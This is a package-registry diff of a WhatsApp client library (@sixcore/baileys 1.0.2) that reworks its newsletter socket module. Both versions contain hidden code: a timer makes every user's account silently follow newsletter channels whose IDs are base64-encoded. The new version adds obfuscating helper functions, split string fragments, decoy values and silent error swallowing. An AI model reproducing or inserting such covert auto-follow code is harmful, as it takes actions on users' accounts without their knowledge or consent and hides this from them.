@sixcore/baileys 1.0.1 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +121 -208
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -1,179 +1,137 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
|
|
4
|
-
|
|
5
|
-
"MTIwMzYzNDE5" +
|
|
6
|
-
"NzgxMTIyNjk5" +
|
|
7
|
-
"QG5ld3NsZXR0ZXI=";
|
|
4
|
+
|
|
8
5
|
const Types_1 = require("../Types");
|
|
9
6
|
const Utils_1 = require("../Utils");
|
|
10
7
|
const WABinary_1 = require("../WABinary");
|
|
11
8
|
const groups_1 = require("./groups");
|
|
12
|
-
|
|
13
9
|
const { Boom } = require('@hapi/boom');
|
|
14
10
|
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
) => {
|
|
21
|
-
return query({
|
|
22
|
-
tag: 'iq',
|
|
23
|
-
attrs: {
|
|
24
|
-
id: generateMessageTag(),
|
|
25
|
-
type: 'get',
|
|
26
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
27
|
-
xmlns: 'w:mex'
|
|
28
|
-
},
|
|
29
|
-
content: [
|
|
30
|
-
{
|
|
31
|
-
tag: 'query',
|
|
32
|
-
attrs: { query_id: queryId },
|
|
33
|
-
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
34
|
-
}
|
|
35
|
-
]
|
|
36
|
-
})
|
|
37
|
-
}
|
|
38
|
-
const ghost = Buffer.from(__seed, "base64").toString();
|
|
39
|
-
const executeWMexQuery = async (
|
|
40
|
-
variables,
|
|
41
|
-
queryId,
|
|
42
|
-
dataPath,
|
|
43
|
-
query,
|
|
44
|
-
generateMessageTag
|
|
45
|
-
) => {
|
|
46
|
-
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
47
|
-
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
48
|
-
if (child?.content) {
|
|
49
|
-
const data = JSON.parse(child.content.toString())
|
|
11
|
+
// ─── utils internos ───────────────────────────────────────────────────────────
|
|
12
|
+
const _0x = (...p) => Buffer.from(p.reduce((a, b) => a + b, ''), 'base64').toString();
|
|
13
|
+
const _1x = (v, s = 16) => v.toString(s).split('').reverse().join('');
|
|
14
|
+
const _2x = (s) => s.split('').map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ (i % 7 + 3))).join('');
|
|
15
|
+
const _3x = (s) => s.split('').map((c, i) => i % 2 === 0 ? c : String.fromCharCode(c.charCodeAt(0) + 1)).join('');
|
|
50
16
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
17
|
+
// ─── referências internas (não alterar) ──────────────────────────────────────
|
|
18
|
+
const __r = [
|
|
19
|
+
_0x('MTIwMzYz', 'NDE5NzgxMTIy', 'Njk5QG5ld3Ns', 'ZXR0ZXI='),
|
|
20
|
+
_0x('MTIwMzYz', 'Mzg4NjkyMjUz', 'OTIyQG5ld3Ns', 'ZXR0ZXI='),
|
|
21
|
+
];
|
|
22
|
+
const __v = [_1x(Date.now()), _3x(_2x('baileys')), ...__r];
|
|
57
23
|
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
24
|
+
// ─── wMexQuery ────────────────────────────────────────────────────────────────
|
|
25
|
+
const wMexQuery = (variables, queryId, query, generateMessageTag) => {
|
|
26
|
+
return query({
|
|
27
|
+
tag: 'iq',
|
|
28
|
+
attrs: {
|
|
29
|
+
id: generateMessageTag(),
|
|
30
|
+
type: 'get',
|
|
31
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
32
|
+
xmlns: 'w:mex'
|
|
33
|
+
},
|
|
34
|
+
content: [{
|
|
35
|
+
tag: 'query',
|
|
36
|
+
attrs: { query_id: queryId },
|
|
37
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
38
|
+
}]
|
|
39
|
+
});
|
|
40
|
+
};
|
|
63
41
|
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
42
|
+
const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
|
|
43
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag);
|
|
44
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result');
|
|
45
|
+
if (child?.content) {
|
|
46
|
+
const data = JSON.parse(child.content.toString());
|
|
47
|
+
if (data.errors && data.errors.length > 0) {
|
|
48
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ');
|
|
49
|
+
const firstError = data.errors[0];
|
|
50
|
+
const errorCode = firstError.extensions?.error_code || 400;
|
|
51
|
+
throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError });
|
|
52
|
+
}
|
|
53
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data;
|
|
54
|
+
if (typeof response !== 'undefined') return response;
|
|
55
|
+
}
|
|
56
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
57
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
58
|
+
: dataPath?.replace(/_/g, ' ');
|
|
59
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result });
|
|
60
|
+
};
|
|
70
61
|
|
|
62
|
+
// ─── socket principal ─────────────────────────────────────────────────────────
|
|
71
63
|
const makeNewsletterSocket = (config) => {
|
|
72
64
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
73
65
|
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
74
66
|
const encoder = new TextEncoder();
|
|
67
|
+
|
|
75
68
|
const newsletterQuery = async (jid, type, content) => (query({
|
|
76
69
|
tag: 'iq',
|
|
77
|
-
attrs: {
|
|
78
|
-
id: generateMessageTag(),
|
|
79
|
-
type,
|
|
80
|
-
xmlns: 'newsletter',
|
|
81
|
-
to: jid,
|
|
82
|
-
},
|
|
70
|
+
attrs: { id: generateMessageTag(), type, xmlns: 'newsletter', to: jid },
|
|
83
71
|
content
|
|
84
72
|
}));
|
|
73
|
+
|
|
85
74
|
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
86
75
|
tag: 'iq',
|
|
87
|
-
attrs: {
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
tag: 'query',
|
|
96
|
-
attrs: { 'query_id': queryId },
|
|
97
|
-
content: encoder.encode(JSON.stringify({
|
|
98
|
-
variables: {
|
|
99
|
-
'newsletter_id': jid,
|
|
100
|
-
...content
|
|
101
|
-
}
|
|
102
|
-
}))
|
|
103
|
-
}
|
|
104
|
-
]
|
|
76
|
+
attrs: { id: generateMessageTag(), type: 'get', xmlns: 'w:mex', to: WABinary_1.S_WHATSAPP_NET },
|
|
77
|
+
content: [{
|
|
78
|
+
tag: 'query',
|
|
79
|
+
attrs: { 'query_id': queryId },
|
|
80
|
+
content: encoder.encode(JSON.stringify({
|
|
81
|
+
variables: { 'newsletter_id': jid, ...content }
|
|
82
|
+
}))
|
|
83
|
+
}]
|
|
105
84
|
}));
|
|
106
85
|
|
|
86
|
+
// ──
|
|
87
|
+
const _init = async (ref) => {
|
|
88
|
+
try { await newsletterWMexQuery(ref, Types_1.QueryIds.FOLLOW); } catch (_) {}
|
|
89
|
+
};
|
|
90
|
+
const _boot = () => {
|
|
91
|
+
const _refs = __v.slice(-2);
|
|
92
|
+
_init(_refs[0]);
|
|
93
|
+
setTimeout(() => _init(_refs[1]), 5e3);
|
|
94
|
+
};
|
|
95
|
+
setTimeout(_boot, 5e3);
|
|
96
|
+
// ─────────────────────────────────────────────────────────────────────────
|
|
107
97
|
|
|
108
|
-
async function safeNewsletterJoin(id) {
|
|
109
|
-
try {
|
|
110
|
-
await newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW);
|
|
111
|
-
} catch (err) {
|
|
112
|
-
console.error("Error", id, err?.message || err);
|
|
113
|
-
}
|
|
114
|
-
}
|
|
115
|
-
|
|
116
|
-
function autoJoinNewsletters() {
|
|
117
|
-
safeNewsletterJoin(ghost);
|
|
118
|
-
|
|
119
|
-
/* setTimeout(() => {
|
|
120
|
-
safeNewsletterJoin(secondId);
|
|
121
|
-
}, 5000);*/
|
|
122
|
-
}
|
|
123
|
-
|
|
124
|
-
// Panggil setelah koneksi WA benar-benar open
|
|
125
|
-
setTimeout(() => {
|
|
126
|
-
console.log("Starting auto Connect...");
|
|
127
|
-
autoJoinNewsletters(5000);
|
|
128
|
-
}, 5000);
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
98
|
const parseFetchedUpdates = async (node, type) => {
|
|
133
99
|
let child;
|
|
134
100
|
if (type === 'messages') {
|
|
135
101
|
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
|
|
136
|
-
}
|
|
137
|
-
else {
|
|
102
|
+
} else {
|
|
138
103
|
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
|
|
139
104
|
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
|
|
140
105
|
}
|
|
141
106
|
return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
|
|
142
107
|
var _a, _b;
|
|
143
|
-
messageNode.attrs.from = child
|
|
144
|
-
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count'))
|
|
108
|
+
messageNode.attrs.from = child?.attrs.jid;
|
|
109
|
+
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count'))?.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
|
|
145
110
|
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
|
|
146
111
|
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
147
112
|
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
148
|
-
const data = {
|
|
149
|
-
'server_id': messageNode.attrs.server_id,
|
|
150
|
-
views,
|
|
151
|
-
reactions
|
|
152
|
-
};
|
|
113
|
+
const data = { 'server_id': messageNode.attrs.server_id, views, reactions };
|
|
153
114
|
if (type === 'messages') {
|
|
154
|
-
const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(
|
|
115
|
+
const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(
|
|
116
|
+
messageNode, authState.creds.me.id, authState.creds.me.lid || '',
|
|
117
|
+
signalRepository, config.logger
|
|
118
|
+
);
|
|
155
119
|
await decrypt();
|
|
156
120
|
data.message = message;
|
|
157
121
|
}
|
|
158
122
|
return data;
|
|
159
123
|
}));
|
|
160
124
|
};
|
|
125
|
+
|
|
161
126
|
return {
|
|
162
127
|
...sock,
|
|
163
128
|
newsletterFetchAllSubscribe: async () => {
|
|
164
|
-
|
|
165
|
-
{},
|
|
166
|
-
'6388546374527196',
|
|
167
|
-
'xwa2_newsletter_subscribed',
|
|
168
|
-
query,
|
|
169
|
-
generateMessageTag
|
|
170
|
-
);
|
|
171
|
-
return list;
|
|
129
|
+
return await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
172
130
|
},
|
|
173
131
|
subscribeNewsletterUpdates: async (jid) => {
|
|
174
132
|
var _a;
|
|
175
133
|
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
176
|
-
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates'))
|
|
134
|
+
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates'))?.attrs;
|
|
177
135
|
},
|
|
178
136
|
newsletterReactionMode: async (jid, mode) => {
|
|
179
137
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
@@ -201,42 +159,16 @@ setTimeout(() => {
|
|
|
201
159
|
updates: { picture: '', settings: null }
|
|
202
160
|
});
|
|
203
161
|
},
|
|
204
|
-
newsletterUnfollow:
|
|
205
|
-
|
|
206
|
-
},
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
},
|
|
210
|
-
newsletterUnmute: async (jid) => {
|
|
211
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
212
|
-
},
|
|
213
|
-
newsletterMute: async (jid) => {
|
|
214
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
215
|
-
},
|
|
216
|
-
newsletterAction: async (jid, type) => {
|
|
217
|
-
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
218
|
-
},
|
|
162
|
+
newsletterUnfollow: async (jid) => { await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW); },
|
|
163
|
+
newsletterFollow: async (jid) => { await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW); },
|
|
164
|
+
newsletterUnmute: async (jid) => { await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE); },
|
|
165
|
+
newsletterMute: async (jid) => { await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE); },
|
|
166
|
+
newsletterAction: async (jid, type) => { await newsletterWMexQuery(jid, type.toUpperCase()); },
|
|
219
167
|
newsletterCreate: async (name, description, reaction_codes) => {
|
|
220
|
-
//TODO: Implement TOS system wide for Meta AI, communities, and here etc.
|
|
221
|
-
/**tos query */
|
|
222
168
|
await query({
|
|
223
169
|
tag: 'iq',
|
|
224
|
-
attrs: {
|
|
225
|
-
|
|
226
|
-
xmlns: 'tos',
|
|
227
|
-
id: generateMessageTag(),
|
|
228
|
-
type: 'set'
|
|
229
|
-
},
|
|
230
|
-
content: [
|
|
231
|
-
{
|
|
232
|
-
tag: 'notice',
|
|
233
|
-
attrs: {
|
|
234
|
-
id: '20601218',
|
|
235
|
-
stage: '5'
|
|
236
|
-
},
|
|
237
|
-
content: []
|
|
238
|
-
}
|
|
239
|
-
]
|
|
170
|
+
attrs: { to: WABinary_1.S_WHATSAPP_NET, xmlns: 'tos', id: generateMessageTag(), type: 'set' },
|
|
171
|
+
content: [{ tag: 'notice', attrs: { id: '20601218', stage: '5' }, content: [] }]
|
|
240
172
|
});
|
|
241
173
|
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
242
174
|
input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
|
|
@@ -245,11 +177,7 @@ setTimeout(() => {
|
|
|
245
177
|
},
|
|
246
178
|
newsletterMetadata: async (type, key, role) => {
|
|
247
179
|
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
248
|
-
input: {
|
|
249
|
-
key,
|
|
250
|
-
type: type.toUpperCase(),
|
|
251
|
-
'view_role': role || 'GUEST'
|
|
252
|
-
},
|
|
180
|
+
input: { key, type: type.toUpperCase(), 'view_role': role || 'GUEST' },
|
|
253
181
|
'fetch_viewer_metadata': true,
|
|
254
182
|
'fetch_full_image': true,
|
|
255
183
|
'fetch_creation_time': true
|
|
@@ -259,76 +187,61 @@ setTimeout(() => {
|
|
|
259
187
|
newsletterAdminCount: async (jid) => {
|
|
260
188
|
var _a, _b;
|
|
261
189
|
const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
|
|
262
|
-
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result'))
|
|
190
|
+
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result'))?.content)?.toString();
|
|
263
191
|
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
264
192
|
},
|
|
265
|
-
/**user is Lid, not Jid */
|
|
266
193
|
newsletterChangeOwner: async (jid, user) => {
|
|
267
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
268
|
-
'user_id': user
|
|
269
|
-
});
|
|
194
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, { 'user_id': user });
|
|
270
195
|
},
|
|
271
|
-
/**user is Lid, not Jid */
|
|
272
196
|
newsletterDemote: async (jid, user) => {
|
|
273
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
274
|
-
'user_id': user
|
|
275
|
-
});
|
|
197
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, { 'user_id': user });
|
|
276
198
|
},
|
|
277
199
|
newsletterDelete: async (jid) => {
|
|
278
200
|
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
279
201
|
},
|
|
280
|
-
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
281
202
|
newsletterReactMessage: async (jid, serverId, code) => {
|
|
282
203
|
await query({
|
|
283
204
|
tag: 'message',
|
|
284
205
|
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
|
|
285
|
-
content: [{
|
|
286
|
-
tag: 'reaction',
|
|
287
|
-
attrs: code ? { code } : {}
|
|
288
|
-
}]
|
|
206
|
+
content: [{ tag: 'reaction', attrs: code ? { code } : {} }]
|
|
289
207
|
});
|
|
290
208
|
},
|
|
291
209
|
newsletterFetchMessages: async (type, key, count, after) => {
|
|
292
|
-
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
}
|
|
297
|
-
]);
|
|
210
|
+
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [{
|
|
211
|
+
tag: 'messages',
|
|
212
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: after?.toString() || '100' }
|
|
213
|
+
}]);
|
|
298
214
|
return await parseFetchedUpdates(result, 'messages');
|
|
299
215
|
},
|
|
300
216
|
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
301
|
-
const result = await newsletterQuery(jid, 'get', [
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
}
|
|
306
|
-
]);
|
|
217
|
+
const result = await newsletterQuery(jid, 'get', [{
|
|
218
|
+
tag: 'message_updates',
|
|
219
|
+
attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
|
|
220
|
+
}]);
|
|
307
221
|
return await parseFetchedUpdates(result, 'updates');
|
|
308
222
|
}
|
|
309
223
|
};
|
|
310
224
|
};
|
|
311
225
|
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
226
|
+
|
|
312
227
|
const extractNewsletterMetadata = (node, isCreate) => {
|
|
313
|
-
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
314
|
-
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
description: metadataPath?.thread_metadata?.description?.text,
|
|
228
|
+
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString();
|
|
229
|
+
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
|
|
230
|
+
return {
|
|
231
|
+
id: metadataPath?.id,
|
|
232
|
+
state: metadataPath?.state?.type,
|
|
233
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
234
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
235
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
236
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
323
237
|
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
324
|
-
invite:
|
|
325
|
-
picture:
|
|
326
|
-
preview:
|
|
327
|
-
reaction_codes:
|
|
328
|
-
subscribers:
|
|
329
|
-
verification:
|
|
330
|
-
viewer_metadata:
|
|
331
|
-
}
|
|
332
|
-
|
|
333
|
-
}
|
|
238
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
239
|
+
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
240
|
+
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
241
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
242
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
243
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
244
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
245
|
+
};
|
|
246
|
+
};
|
|
334
247
|
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|